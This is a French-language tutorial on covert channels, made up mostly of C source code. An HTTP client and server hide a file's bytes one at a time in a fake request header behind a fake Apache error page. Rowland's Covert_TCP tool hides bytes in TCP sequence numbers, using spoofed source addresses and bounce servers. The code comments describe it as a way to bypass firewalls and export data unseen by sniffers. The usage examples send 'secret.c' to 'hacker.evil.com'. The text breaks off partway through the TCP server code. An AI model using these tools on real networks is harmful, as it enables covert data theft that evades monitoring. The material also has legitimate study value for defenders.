Application des covert channel

Préface

Je souhaitais partager avec toi publique un article écrit il y a quelque temps déjà mais encore d'actualité. Il présente la mise en application de différentes techniques de covert channel ou communication cachée.

Explication générale

Le covert channel peut être traduit en français par flux de données camouflées.
Un covert channel est une technique ayant pour but de faire passer au travers d'un firewall des données. Ces données doivent être présentent dans un paquet sans être visible par le firewall ou l'administrateur qui sniff son réseau. Pour cela on a recours à différentes techniques variables en fonction des protocoles choisis. Mais en général le choix s'oriente naturellement vers les headers des paquets car ceux-ci sont rarement filtrés par les firewalls.
De plus les champs optionnels et/ou de grande taille sont préférés par les hackers car il s'agit là de pouvoir y placer un maximum d'information.
Le covert channel et le tunneling sont deux techniques distinct contrairement à ce que peuvent penser certaines personnes. Le tunneling consiste à encapsuler un protocole dans un autre (au niveau du corps) tandis que les covert channel eux, fonctionne en... vous verrez bien après avoir lu cet article :).

Introduction

Le but premier de cet article est de vous présentez quelques méthodes de covert channel accompagnés de code en C fonctionnant sous linux.
J'ai d'abord voulu intégrer l'échange de données sous la forme de routines permettant d'envoyer des commandes à une backdoor. Mais au fur et à mesure du développement j'ai intégré le code de façon à ce qu'il puisse transférer des données au sein des paquets.
Les codes présents dans cet article sont des proof of concepts, comprenez qu'ils ne sont ni optimisés ni même sécurisés. C'est seulement des exemples (à ne pas suivre) pour expliquer d'une façon moins théorique les coverts channels.

Exemple : Protocole HTTP

Le protocole HTTP est un protocole de haut niveau qu'il est donc difficile de filtrer surtout qu'il est très utilisé et, de plus, il est souvent accompagné, au niveau des requêtes, d'informations annexes envoyées par des modules/plug-in. On peut dire qu'il s'agit là d'un protocole tout à fait adapté au covert channel: un header contenant des champs permettant de stocker beaucoup de données, la possibilité de stocker les données dans le corps de façon transparente. Ce protocole, du fait de ses spécificités, est assez difficile à filtrer.
De plus comme il s'agit d'un protocole de haut niveau nous n'avons besoin que des sock_stream pour travailler avec donc il n'y a pas besoin des droits root.
Vous trouverez plus d'informations sur ces spécifications dans les [RFC].

Tout d'abord abordons les différents modèles client/serveur :
- Le modèle serveur httpd: il consiste en un programme "émulant" le fonctionnement d'un serveur httpd tout en récupérant les données cachées dans la requête (méthode utilisée dans le code source).
- Le modèle serveur proxy: modèle consistant en un programme "émulant" le fonctionnement d'un proxy, le serveur attend l'arrivée de la requête, récupère les données cachées puis agit comme un proxy en renvoyant la requête vers le serveur httpd demandé.
- Le modèle serveur CGI: cette technique nécessite de mettre en place un script CGI sur le httpd cible pour que le script agisse comme un CGI mais récupère les données camouflées via l'URI ou les autres variables d'environnement ou encore via le corps du message.

Intéressons nous maintenant aux champs, qui pourrait nous intéresser, d'une requête HTTP de type GET :
- La chaîne URI: Il est facile de cacher des données sous forme d'arguments via l'URI
GET http://www.somehost.com/cgi-bin/board.cgi?view=12121212 / HTTP/1.0
Ici on voit bien que la variable view de l'URI peut contenir les données cachées (ici c'est flagrant mais il est très facile de créer un hash md5 et de faire croire qu'il s'agit d'un numéro de session par exemple).
- User-Agent: Dans ce champ on peut dissimuler ses données bien que ce soit moins évident que pour le champ précédent.
User-Agent: Mozilla/5.0 (12121212)
Ici on pourrait formatter la donnée pour quelle soit cachée dans la version du système ou du navigateur: (Linux 2.4.12 Konqueror/1.2) Gecko/12121212  par exemple.
- Accept-Charset:  Ce champ normalement utiliser pour définir les charset utilisés par le navigateur peut camoufler certaines valeurs.
>Accept-Charset: ISO-8859-1,utf-8,ISO-1212-1
- Les champs étendus du header (qui eux peuvent être filtrés par les firewall) peuvent permettre d'inclure des données dans l'entête de taille variable.
X-Microsoft-Plugin: unexpected error #12121212
C'est la méthode utilisée par le code source mais n'est pas la plus furtive.

Pour (beaucoup ?) plus de détails sur les covert channel HTTP, lisez l'excellent texte de Simon Castro [CASTRO].

Attaquons la pratique :
Du côté du client :

client.h :
1 #include <stdio.h>
2 #include <stdlib.h>
3 #include <errno.h>
4 #include <string.h>
5 #include <netdb.h>
6 #include <sys/types.h>
7 #include <netinet/in.h>
8 #include <sys/socket.h>

9 #define PORT 31337 /* the port client will be connecting to */
10 #define MAXDATASIZE 1024 /* max number of bytes we can get at once */

11 char *CreateQuery(char *, char *, int);

client.c:
1 #include "client.h"
2 int main(int argc, char *argv[])
3 {
4     int sockfd, numbytes, ch;
5     char *requete = (char *)malloc(1024*sizeof(char));
6     char target[20], uri[80], buf[MAXDATASIZE+1];
7     struct hostent *he;
8     struct sockaddr_in their_addr; 
9     FILE *input;
10     
11     
12     if (argc != 4) {
13         fprintf(stderr,"Usage: %s Target Page File\n", argv[0]);
14         fprintf(stderr,"Example: %s 195.25.63.78 /index.htm exploit.c\n", argv[0]);
15         fprintf(stderr,"Page max size is 80 characters\n");
16         fprintf(stderr,"File must contain ascii characters\n\n");
17         exit(1);
18     }
19     
20     strncpy(target, argv[1], 17);
21     strncpy(uri, argv[2], 79);
22     
23     if ((he=gethostbyname(target)) == NULL) {  
24       herror("gethostbyname");
25       exit(1);
26     }
27     
28     if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
29      perror("socket");
30      exit(1);
31     }
32     their_addr.sin_family = AF_INET;      
33     their_addr.sin_port = htons(PORT);    
34     their_addr.sin_addr = *((struct in_addr *)he->h_addr);
35     bzero(&(their_addr.sin_zero), 8);     
36     
37     if (connect(sockfd, (struct sockaddr *)&their_addr, sizeof(struct sockaddr)) == -1) { 
38      perror("connect");
39      exit(1);
40     }
41           
42     if((input = fopen(argv[3], "rb")) == NULL) {
43      printf("I cannot open file %s for reading", argv[3]);
44      exit(1);
45     } 
46     
47     else while((ch = fgetc(input)) != EOF) {
48     
49      sleep(1);
50       
51      requete = CreateQuery(uri, target, ch);
52      if (send(sockfd, requete, strlen(requete)+1, 0) == -1) {
53         perror("send");
54         break;
55         }
56        
57     printf("Sending Data: %c\n",ch);
58     
59     while ((numbytes = read(sockfd, buf, MAXDATASIZE)) != 0) {
60      buf[numbytes] = '\0';
61       printf("Data successfully received.\n");
62       break;
63       }
64     }
65     fclose(input);
66     free(requete);
67     close(sockfd);
68     return 0;
69 }
70 char *CreateQuery(char *page, char *host, int ch) {
71   char *header = (char *)malloc(1024*sizeof(char));
72   
73     sprintf(header,
74     "GET %s HTTP/1.1\r\n"
75     "Host %s\r\n"
76     "User-Agent: Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.6) Gecko/20040115\r\n"
77     "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1\r\n"
78     "Accept-Language: fr,en;q=0.5\r\n"
79   "Accept-Encoding: gzip,deflate\r\n"
80   "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n"
81   "Keep-Alive: 300\r\n"
82   "Connection: keep-alive\r\n"
83     "X-Microsoft-Plugin: unexpected error %d\r\n"
84     "\r\n",page,host,ch    
85     );
86     return (header);
87 }

Dans client.h on retrouve tous les headers nécessaires à la communication réseau et aux fonctions utilisées dans le code.
Passons à client.c :
lignes 4 à 9 on s'occupe de déclarer/initialiser les données.
lignes 12 à 21 petite vérification de base des arguments passés au programme.
lignes 23 à 26 on récupère l'ip en fonction du DNS passer.
lignes 28 à 31 on s'occupe de créer le socket (un fichier où passeront toutes les données échangées).
lignes 32 à 35 on remplit la structure sockaddr_in.
lignes 37 à 40 on se connecte au serveur.
lignes 42 à 45 on s'occupe d'ouvrir le fichier à transférer (le fichier doit être un fichier texte) en mode binaire et non pas texte (pour pouvoir convertir les caractères en leurs code ASCII).
ligne 47 on créé une boucle pour envoyer un paquet pour chaque caractère (ceci peut être optimiser pour envoyer plus de données d'un coup).
ligne 49 on met un sleep(1) pour éviter les pertes de données (sur internet sans le sleep les données s'enchaînent et il peut y avoir des pertes de données).
ligne 50 on saute à CreateQuery()
lignes 70 à 87 CreateQuery s'occupe de créé une requête contenant une erreur : 75 "Host %s\r\n" devrait être "Host: %s\r\n".
lignes 52 à 55 on balance la requête.
lignes 59 à 63 on attend la réponse du serveur pour être sûr que les données ont bien été reçus.
lignes 65 à 68 on ferme tout :).

Du côter du serveur :

server.h:
1 #include <stdio.h>
2 #include <stdlib.h>
3 #include <errno.h>
4 #include <string.h>
5 #include <sys/types.h>
6 #include <netinet/in.h>
7 #include <sys/socket.h>
8 #include <sys/wait.h>

9 #define MYPORT 31337    /* the port users will be connecting to */
10 #define BACKLOG 10     /* how many pending connections queue will hold */
11 #define MAXDATASIZE 2048

12 int ParseResp(char *);
13 char *CreateQuery(char *);

server.c:
1 #include "server.h"

2 int main(int argc, char *argv[])
3 {
4  int sockfd, new_fd, numbytes = 0;  
5  struct sockaddr_in my_addr;
6  struct sockaddr_in their_addr;
7  int sin_size, rec, ch;
8  char *buf = (char *)malloc(2048*sizeof(char));
9  char *respons = (char *)malloc(1024*sizeof(char));
10  char localdns[81];
11  FILE *output;
12  
13  if (argc != 3) {
14         fprintf(stderr,"Usage: %s LocalDNS File\n", argv[0]);
15         fprintf(stderr,"Example: %s www.evil.us /tmp/xploit.c\n", argv[0]);
16         fprintf(stderr,"LocalDNS must not exceed 80 characters\n\n");
17         exit(1);
18     }
19     
20    strncpy(localdns, argv[1], 80);
21    
22  if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
23      perror("socket");
24      exit(1);
25  }
26  my_addr.sin_family = AF_INET;         /* host byte order */
27  my_addr.sin_port = htons(MYPORT);     /* short, network byte order */
28  my_addr.sin_addr.s_addr = INADDR_ANY; /* auto-fill with my IP */
29  bzero(&(my_addr.sin_zero), 8);        /* zero the rest of the struct */
30  
31  if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == -1){
32      perror("bind");
33      exit(1);
34  }
35  
36  if (listen(sockfd, BACKLOG) == -1) {
37      perror("listen");
38      exit(1);
39  }
40  if((output=fopen(argv[2],"wb"))== NULL) {
41    printf("I cannot open the file %s for writing\n",argv[2]);
42    exit(1);
43  }
44  while(1) {  /* main accept() loop */
45      sin_size = sizeof(struct sockaddr_in);
46      if ((new_fd = accept(sockfd, (struct sockaddr *)&their_addr, &sin_size))==-1){ 
47          perror("accept");
48          exit(1);
49      }
50      printf("server: got connection from %s\n", inet_ntoa(their_addr.sin_addr)); 
51      while ((read(new_fd, buf, MAXDATASIZE)) != 0) {
52       sprintf(buf, "%s"+'\0', buf);
53       ch = ParseResp(buf);
54       fprintf(output,"%c",ch);
55        fflush(output);
56       memset(buf, 0, strlen(buf));
57       respons = CreateQuery(localdns);
58        if (send(new_fd, respons, strlen(respons), 0) == -1)
59              perror("send");
60       }
61        
62      close(new_fd);
63      free(respons);
64      free(buf);
65      }
66    fclose(output);
67    return 0;     
68  }
69 char *CreateQuery(char *host) {
70   char *header = (char *)malloc(1024*sizeof(char)), *data = (char *)malloc(1024*sizeof(char));
71   char *tmp = (char *)malloc(1024*sizeof(char));
72   
73   sprintf(data,
74   "17c\r\n"
75   "<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\">\r\n"
76   "<HTML><HEAD>\r\n"
77   "<TITLE>400 Bad Request</TITLE>\r\n"
78   "</HEAD><BODY>\r\n"
79   "<H1>Bad Request</H1>\r\n"
80   "Your browser sent a request that this server could not understand.<P>\r\n"
81   "Request header field is missing colon separator.<P>\r\n"
82   "<PRE>\r\n"
83   "Host %s</PRE>\r\n"
84   "<P>\r\n"
85   "<HR>\r\n"
86   "<ADDRESS>Apache/1.3.27 Server at %s Port 80</ADDRESS>\r\n"
87   "</BODY></HTML>\r\n"
88   "\r\n"
89   "0\r\n", host, host);
90   
91     sprintf(header,
92     "HTTP/1.1 400 Bad Request\r\n"
93   "Date: Mon, 26 Jul 2004 11:07:48 GMT\r\n"
94   "Server: Apache/1.3.27 (Unix) mod_tsunami/1.1 AuthMySQL/2.20\r\n"
95   "Connection: close\r\n"
96   "Transfer-Encoding: chunked\r\n"
97   "Content-Type: text/html; charset=iso-8859-1\r\n"
98     "\r\n");
99     sprintf(tmp,"%s%s",header,data);
100     free(header);
101     free(data);
102     return (tmp);
103 }
104 int ParseResp(char *query) {
105   char *result = (char *)malloc(24 * sizeof(char));
106   unsigned short ch;
107   
108   memcpy(result, query+strlen(query)-7, 8);
109   ch = atoi(result);
110   printf("Received: %c\n", ch);
111   free(result);
112   return ch;
113 }

En ce qui concerne server.h, c'est pareil que pour client.h.
Dans server.c :
lignes 4 à 11 on déclare/initialise les variables.
lignes 13 à 20 petite vérification de base des arguments passés au serveur.
lignes 22 à 25 on créé le socket.
lignes 26 à 29 on remplit sockaddr_in.
lignes 31 à 39 on initialise le serveur avec bind et listen.
lignes 40 à 43 on ouvre le fichier où l'on va écrire.
lignes 45 à 50 on attend la connection d'un client.
ligne 51 tant que l'on reçois des données on lit le socket.
ligne 53 on saute vers ParseResp().
lignes 104 à 113 ParseResp s'occupe de chercher les données cachées (à la fin du paquet): ligne 108 on se place 7 octets avant la fin du paquet et on récupère les 8 octets qui suivent. ligne 109 on convertis la string en integer (atoi).
lignes 54 et 55 on écrit le résultat du parse dans le fichier.
ligne 57 on créé une requête de réponse de type "400 Bad Request" au format http 1.1
lignes 58 à 60 on balance la requête au client.
lignes 63 à 67 on nettoie tout ça et on quit.

Comme je le disais ce code est assez sale (quoique j'ai déjà vu pire) et on pourrait y ajouter un grand nombre d'optimisations.
Par exemple, l'utilisation de threads au niveau du serveur pour qu'il puisse recevoir plusieurs paquets à la fois (la communication irait beaucoup plus vite). Une technique cryptographique ou de formattage des données envoyées.
Et d'autres encore.

[RFC] :
http://abcdrfc.free.fr/rfc-vf/rfc1945.html RFC HTTP 1.0 vf
http://abcdrfc.free.fr/rfc-vf/rfc2616.html RFC HTTP 1.1 vf

[CASTRO] :
http://www.gray-world.net/projects/papers/html/cctde.html

Exemple: Protocole TCP

Les covert channel dans le header TCP sont bien connus ; le header TCP contient plusieurs champs d'assez grande taille ou optionnels. Il s'agit d'un protocole assez complexe (au niveau de l'header) ce qui ne fait que nous arranger :).
Pour manipuler des paquets TCP il faut utiliser les sock_raw et donc les droits root.
Pour plus d'informations je vous invite à consulter la [RFC] TCP qui vous éclairera surement.

Le header TCP est constituer de :
http://www.frameip.com/entetetcp/
Les champs qui peuvent nous intéresser sont :
- Séquence: contenant le numéro de séquence capable d'identifier le paquet dans le flux
- Le numéro d'ACK: contenant le numéro de séquence + 1 dans le cas où l'on utilise un serveur de rebond. Plus d'explications là-dessus plus loin.
- Les flags: ce champ sert à spécifier le type de paquet TCP (SYN pour initialiser une connection, ACK pour confirmer la demande de connection...). On peut facilement utiliser les flags pour représenter une variable stockée en dur du côter serveur: on active les flags URG, PSH et FIN ce ki donne 101001 qui sera interpréter côter serveur comme une commande.
En fin de paquet il existe des champs optionnels que l'on peut rajoutés :
http://www.frameip.com/entetetcp/
- Les options: Ce champ peut occuper une taille variable mais doit, à l'aide du bourrage, toujours être un multiple de 8.
Il existe également un pseudo header qui permet à TCP d'éviter les erreurs de routage :
http://www.frameip.com/entetetcp/
Si vous n'avez pas le courage de lire en entier la RFC TCP (ce qui est compréhensible) allez faire un tour sur [FrameIp].

Le code source que je vais vous présenter utilise le champ Séquence pour cacher ses données et devrait normalement être capable d'utiliser un serveur de rebond puis de récupérer les données dans le champ Numéro d'ACK.
Une petite explication s'impose, comme vous l'avez vu plus haut le champ Numéro d'ACK = le champ Séquence +1. Le champ Numéro d'ACK est utilisé seulement après une demande de connection (flag SYN), le fonctionnement du programme consiste à envoyer un SYN vers un serveur de rebond en falsifiant l'adresse source pour que le serveur de rebond renvoit le paquet vers le serveur de notre création qui va s'occuper d'extraire les données dans le champ Numéro d'ACK.

Voyons cela dans la pratique :
Ces codes sont tirés d'un article très intéressant sur les covert channel TCP et IP: [ROWLANDCOVER]. Je n'ai fait que séparer le côter client/serveur et le covert channel TCP et IP.

client.h:
1 #include <stdio.h>
2 #include <stdlib.h>
3 #include <signal.h>
4 #include <string.h>
5 #include <unistd.h>
6 #include <netdb.h>
7 #include <netinet/in.h>
8 #include <sys/socket.h>
9 #include <arpa/inet.h>
10 #include <linux/ip.h>
11 #include <linux/tcp.h>

12 void forgepacket(unsigned int, unsigned int, unsigned short, unsigned short, char *,
13        int);
14        
15 unsigned int host_convert(char *);
16 unsigned short in_cksum(unsigned short *, int);
17 void usage(char *);

client.c:
1 /* Covert_TCP 1.0 - Covert channel file transfer for Linux
2 * Written by Craig H. Rowland (crowland@psionic.com)
3 * Copyright 1996 Craig H. Rowland (11-15-96)
4 * NOT FOR COMMERCIAL USE WITHOUT PERMISSION. 
5 * 
6 *
7 * This program manipulates the TCP/IP header to transfer a file one byte
8 * at a time to a destination host. This progam can act as a server and a client
9 * and can be used to conceal transmission of data inside the IP header. 
10 * This is useful for bypassing firewalls from the inside, and for 
11 * exporting data with innocuous looking packets that contain no data for 
12 * sniffers to analyze. In other words, spy stuff... :)
13 *
14 * PLEASE see the enclosed paper for more information!!
15 *
16 * This software should be used at your own risk. 
17 *
18 * compile: cc -o covert_tcp covert_tcp.c
19 *
20 * 
21 * Portions of this code based on ping.c (c) 1987 Regents of the 
22 * University of California. (See function in_cksm() for details)
23 *
24 * Small portions from various packet utilities by unknown authors
25 */

26 #include "client.h"

27 int main(int argc, char *argv[]) {

28    unsigned int source_host=0,dest_host=0;
29    unsigned short source_port=0,dest_port=80;
30    int seq=0,file=0;
31    int count;
32    char desthost[80],srchost[80],filename[80];

33    if(geteuid() !=0)
34     {
35     printf("\nYou need to be root to run this because it use sock_raw.\n\n");
36     exit(0);
37     }
38     
39    if(argc != 11)
40    {
41    usage(argv[0]);
42    exit(0);
43    }    
44    for(count=0; count < argc; ++count)
45     {
46     if (strcmp(argv[count],"-dest") == 0)
47      {
48      dest_host=host_convert(argv[count+1]); 
49      strncpy(desthost,argv[count+1],79);
50      }
51      
52     else if (strcmp(argv[count],"-source") == 0)
53      {
54      source_host=host_convert(argv[count+1]); 
55      strncpy(srchost,argv[count+1],79);
56      }

57     else if (strcmp(argv[count],"-file") == 0)
58      {
59      strncpy(filename,argv[count+1],79);
60      file=1;
61      }

62     else if (strcmp(argv[count],"-source_port") == 0)
63       source_port=atoi(argv[count+1]);

64     else if (strcmp(argv[count],"-dest_port") == 0)
65       dest_port=atoi(argv[count+1]);
66     }

67     seq=1; 

68    if(file != 1)
69     {
70     printf("\n\nYou need to supply a filename (-file <filename>)\n\n");
71     exit(1);
72     }

73      if (source_host == 0 && dest_host == 0)
74       {
75       printf("\n\nYou need to supply a source and destination address for client mode.\n\n");
76       exit(1);
77       }

78      else
79       {
80       printf("Destination Host: %s\n",desthost);
81       printf("Source Host     : %s\n",srchost);

82        if(source_port == 0)
83         printf("Originating Port: random\n");

84        else
85         printf("Originating Port: %u\n",source_port);

86       printf("Destination Port: %u\n",dest_port);
87       printf("Encoded Filename: %s\n",filename);

88       printf("Encoding Type   : IP Sequence Number\n");

89       printf("\nClient Mode: Sending data.\n\n");
90      }
91      
92      forgepacket(source_host, dest_host, source_port, dest_port,filename,seq);
93      exit(0);
94 }

95 void forgepacket(unsigned int source_addr, unsigned int dest_addr, unsigned \
96 short source_port, unsigned short dest_port, char *filename, int seq) {
97    struct send_tcp
98    {
99       struct iphdr ip;
100       struct tcphdr tcp;
101    } send_tcp;

102    struct pseudo_header
103    {
104       unsigned int source_address;
105       unsigned int dest_address;
106       unsigned char placeholder;
107       unsigned char protocol;
108       unsigned short tcp_length;
109       struct tcphdr tcp;
110    } pseudo_header;

111    int ch;
112    int send_socket;
113    struct sockaddr_in sin;
114    FILE *input;
115    
116  srand((getpid())*(dest_port)); 
117  
118  if((input=fopen(filename,"rb"))== NULL)
119  {
120  printf("I cannot open the file %s for reading\n",filename);
121  exit(1);
122  }

123 else while((ch=fgetc(input)) !=EOF)
124  {

125  sleep(1);

126    send_tcp.ip.ihl = 5;
127    send_tcp.ip.version = 4;
128    send_tcp.ip.tos = 0;
129    send_tcp.ip.tot_len = htons(40);
130    send_tcp.ip.id =(int)(255.0*rand()/(RAND_MAX+1.0)); 
131    send_tcp.ip.frag_off = 0;
132    send_tcp.ip.ttl = 64; 
133    send_tcp.ip.protocol = IPPROTO_TCP;
134    send_tcp.ip.check = 0;
135    send_tcp.ip.saddr = source_addr;
136    send_tcp.ip.daddr = dest_addr;

137 if(source_port == 0) 
138    send_tcp.tcp.source = 1+(int)(10000.0*rand()/(RAND_MAX+1.0));

139 else 
140    send_tcp.tcp.source = htons(source_port);

141    send_tcp.tcp.seq = ch;

142    send_tcp.tcp.dest = htons(dest_port);

143    send_tcp.tcp.ack_seq = 0;
144    send_tcp.tcp.res1 = 0;
145    send_tcp.tcp.doff = 5;
146    send_tcp.tcp.fin = 0;
147    send_tcp.tcp.syn = 1;
148    send_tcp.tcp.rst = 0;
149    send_tcp.tcp.psh = 0;
150    send_tcp.tcp.ack = 0;
151    send_tcp.tcp.urg = 0;
152    send_tcp.tcp.ece = 0;
153    send_tcp.tcp.window = htons(512);
154    send_tcp.tcp.check = 0;
155    send_tcp.tcp.urg_ptr = 0;

156    sin.sin_family = AF_INET;
157    sin.sin_port = send_tcp.tcp.source;
158    sin.sin_addr.s_addr = send_tcp.ip.daddr;   

159    send_socket = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
160    if(send_socket < 0)
161    {
162       perror("send socket cannot be open. Are you root?");
163       exit(1);
164    }

165       send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20);
166       
167       pseudo_header.source_address = send_tcp.ip.saddr;
168       pseudo_header.dest_address = send_tcp.ip.daddr;
169       pseudo_header.placeholder = 0;
170       pseudo_header.protocol = IPPROTO_TCP;
171       pseudo_header.tcp_length = htons(20);

172       bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20);

173       send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32);

174       sendto(send_socket, &send_tcp, 40, 0, (struct sockaddr *)&sin, sizeof(sin));
175       printf("Sending Data: %c\n",ch);

176   close(send_socket);
177  } 

178 fclose(input);
179 } 


180 unsigned int host_convert(char *hostname){
181    static struct in_addr i;
182    struct hostent *h;
183    i.s_addr = inet_addr(hostname);
184    if(i.s_addr == -1)
185    {
186       h = gethostbyname(hostname);
187       if(h == NULL)
188       {
189          fprintf(stderr, "cannot resolve %s\n", hostname);
190          exit(0);
191       }
192       bcopy(h->h_addr, (char *)&i.s_addr, h->h_length);
193    }
194    return i.s_addr;
195 }

196 unsigned short in_cksum(unsigned short *ptr, int nbytes){
197         register long           sum;            /* assumes long == 32 bits 
198 */
199         u_short                 oddbyte;
200         register u_short        answer;         /* assumes u_short == 16 bits */

201         /*
202          * Our algorithm is simple, using a 32-bit accumulator (sum),
203          * we add sequential 16-bit words to it, and at the end, fold back
204          * all the carry bits from the top 16 bits into the lower 16 bits.
205          */

206         sum = 0;
207         while (nbytes > 1)  {
208                 sum += *ptr++;
209                 nbytes -= 2;
210         }

211                                 /* mop up an odd byte, if necessary */
212         if (nbytes == 1) {
213                 oddbyte = 0;            /* make sure top half is zero */
214                 *((u_char *) &oddbyte) = *(u_char *)ptr;   /* one byte only */
215                 sum += oddbyte;
216         }

217         /*
218          * Add back carry outs from top 16 bits to low 16 bits.
219          */

220         sum  = (sum >> 16) + (sum & 0xffff);    /* add high-16 to low-16 */
221         sum += (sum >> 16);                     /* add carry */
222         answer = ~sum;          /* ones-complement, then truncate to 16 bits 
223 */
224         return(answer);
225 }


226 void usage(char *progname){

227       printf("Covert TCP usage: \n%s -dest dest_ip -source source_ip -file \
228 filename -source_port port -dest_port port\n\n", 
229 progname);
230       printf("-dest dest_ip      - Host to send data to.\n");
231       printf("-source source_ip  - Host where you want the data to originate \
232 from.\n");
233       printf("-source_port port  - IP source port you want data to appear from. \n");
234       printf("                     (randomly set by default)\n");
235       printf("-dest_port port    - IP source port you want data to go to. In\n");
236       printf("                     SERVER mode this is the port data will be coming\n");
237       printf("                     inbound on. Port 80 by default.\n");
238       printf("-file filename     - Name of the file to encode and transfer.\n");
239       printf("\nPress ENTER for examples.");
240       getchar();
241       printf("\nExample: \nclient -dest foo.bar.com -source hacker.evil.com - \
242 source_port 1234 -dest_port 80 -file secret.c\n\n");
243       printf("Above sends the file secret.c to the host hacker.evil.com a byte \n");
244       printf("at a time using the default IP packet ID encoding.\n");
245       exit(0);
246 }

client.h: on retrouve les headers nécessaires au programme et le prototype des fonctions de notre création.
Dans client.c:
lignes 28 à 91: on filtre les options passées au programme et on les stocks.
ligne 92: on appel la fonction forgepacket() qui s'occupe de presque tout.
lignes 97 à 110: on créé une structure contenant les header IP et TCP et on créé le pseudo header TCP.
ligne 116: on initialise le générateur de nombres pseudo-aléatoire.
lignes 118 à 122: on essaye d'ouvrir le fichier qui contient les données envoyées.
ligne 123 à 179: on créé une boucle qui s'occupe de remplir l'header et de l'envoyer pour chaque caractère présent dans le fichier texte.
ligne 125: on retrouve le sleep(1) qui s'occupe d'espacer le temps d'envoie pour éviter les pertes de données.
ligne 141: on voit bien la copie du caractère (de son code ASCII exacement) dans le champ N° de Séquence.
lignes 178 et 179: on ferme le fichier et la fonction principale.
lignes 180 à 195: la fonction host_convert() sert à résoudre les ip passées au programme.
lignes 196 à 225: la fonction servant à calculer le checksum (il s'agit d'une fonction passe-partout pour calculer les checksum des paquets UDP et TCP).
lignes 226 à 246: cette fonction sert à afficher l'aide.

Du côter du serveur:

server.h:
1 #include <stdio.h>
2 #include <stdlib.h>
3 #include <signal.h>
4 #include <string.h>
5 #include <unistd.h>
6 #include <netdb.h>
7 #include <netinet/in.h>
8 #include <sys/socket.h>
9 #include <arpa/inet.h>
10 #include <linux/ip.h>
11 #include <linux/tcp.h>

12 void forgepacket(unsigned int, unsigned int, unsigned short, unsigned short, char *,
13        int, int);
14        
15 unsigned int host_convert(char *);
16 unsigned short in_cksum(unsigned short *, int);
17 void usage(char *);

server.c:
1 /* Covert_TCP 1.0 - Covert channel file transfer for Linux
2 * Written by Craig H. Rowland (crowland@psionic.com)
3 * Copyright 1996 Craig H. Rowland (11-15-96)
4 * NOT FOR COMMERCIAL USE WITHOUT PERMISSION. 
5 * 
6 *
7 * This program manipulates the TCP/IP header to transfer a file one byte
8 * at a time to a destination host. This progam can act as a server and a client
9 * and can be used to conceal transmission of data inside the IP header. 
10 * This is useful for bypassing firewalls from the inside, and for 
11 * exporting data with innocuous looking packets that contain no data for 
12 * sniffers to analyze. In other words, spy stuff... :)
13 *
14 * PLEASE see the enclosed paper for more information!!
15 *
16 * This software should be used at your own risk. 
17 *
18 * compile: cc -o covert_tcp covert_tcp.c
19 *
20 * 
21 * Portions of this code based on ping.c (c) 1987 Regents of the 
22 * University of California. (See function in_cksm() for details)
23 *
24 * Small portions from various packet utilities by unknown authors
25 */

26 #include "server.h"

27 int main(int argc, char *argv[]){

28    unsigned int source_host=0,dest_host=0;
29    unsigned short source_port=0,dest_port=80;
30    int seq=0,ack=0,file=0;
31    int count;
32    char desthost[80],srchost[80],filename[80];

33    if(geteuid() !=0)
34     {
35     printf("\nYou need to be root to run this.\n\n");
36     exit(0);
37     }

38    if((argc < 6) || (argc > 13))
39    {
40    usage(argv[0]);
41    exit(0);
42    }


43    for(count=0; count < argc; ++count)
44     {
45     if (strcmp(argv[count],"-dest") == 0)
46      {
47      dest_host=host_convert(argv[count+1]); 
48      strncpy(desthost,argv[count+1],79);
49      }
50      
51     else if (strcmp(argv[count],"-source") == 0)
52      {
53      source_host=host_convert(argv[count+1]); 
54      strncpy(srchost,argv[count+1],79);
55      }

56     else if (strcmp(argv[count],"-file") == 0)
57      {
58      strncpy(filename,argv[count+1],79);
59      file=1;
60      }

61     else if (strcmp(argv[count],"-source_port") == 0)
62       source_port=atoi(argv[count+1]);

63     else if (strcmp(argv[count],"-dest_port") == 0)
64       dest_port=atoi(argv[count+1]);

65     else if (strcmp(argv[count],"-seq") == 0)
66       seq=1;

67     else if (strcmp(argv[count],"-ack") == 0)
68       ack=1;

69     }
70     
71    if(seq+ack == 0)
72     seq=1; 
73     
74    else if (seq+ack !=1)
75     {
76     printf("\n\nOnly one encoding/decode flag (-seq -ack) can be used at a time.\n\n");
77     exit(1);
78     }

79    if(file != 1)
80     {
81     printf("\n\nYou need to supply a filename (-file <filename>)\n\n");
82     exit(1);
83     }
84     
85     if (source_host == 0 && source_port == 0)
86       {
87       printf("You need to supply a source address and/or source port for server mode.\n");
88       exit(1);
89       }

90      if(dest_host == 0)
91       strcpy(desthost,"Any Host");

92      if(source_host == 0)
93       strcpy(srchost,"Any Host");

94      printf("Listening for data from IP: %s\n",srchost);
95      
96      if(source_port == 0)
97       printf("Listening for data bound for local port: Any Port\n");

98      else
99       printf("Listening for data bound for local port: %u\n",source_port);

100      printf("Decoded Filename: %s\n",filename);

101      if(seq == 1)
102       printf("Decoding Type Is: IP Sequence Number\n");

103      else if(ack == 1)
104       printf("Decoding Type Is: IP ACK field bounced packet.\n");

105      printf("\nServer Mode: Listening for data.\n\n");

106      forgepacket(source_host, dest_host, source_port, dest_port,filename,seq,ack);
107    exit(0);
108 }

109 void forgepacket(unsigned int source_addr, unsigned int dest_addr, unsigned \
110 short source_port, unsigned short dest_port, char *filename, int seq, int ack) {

111    struct recv_tcp
112    {
113       struct iphdr ip;
114       struct tcphdr tcp;
115       char buffer[10000];
116    } recv_pkt;

117    int recv_socket;
118    FILE *output;
119    
120    srand((getpid())*(dest_port)); 
121    
122     if((output=fopen(filename,"wb"))== NULL)
123   {
124   printf("I cannot open the file %s for writing\n",filename);
125   exit(1);
126   }

127  while(1) 
128  {

129    recv_socket = socket(AF_INET, SOCK_RAW, 6);
130    
131    if(recv_socket < 0)
132    {
133       perror("receive socket cannot be open. Are you root?");
134       exit(1);
135    }

136   read(recv_socket, (struct recv_tcp *)&recv_pkt, 9999);
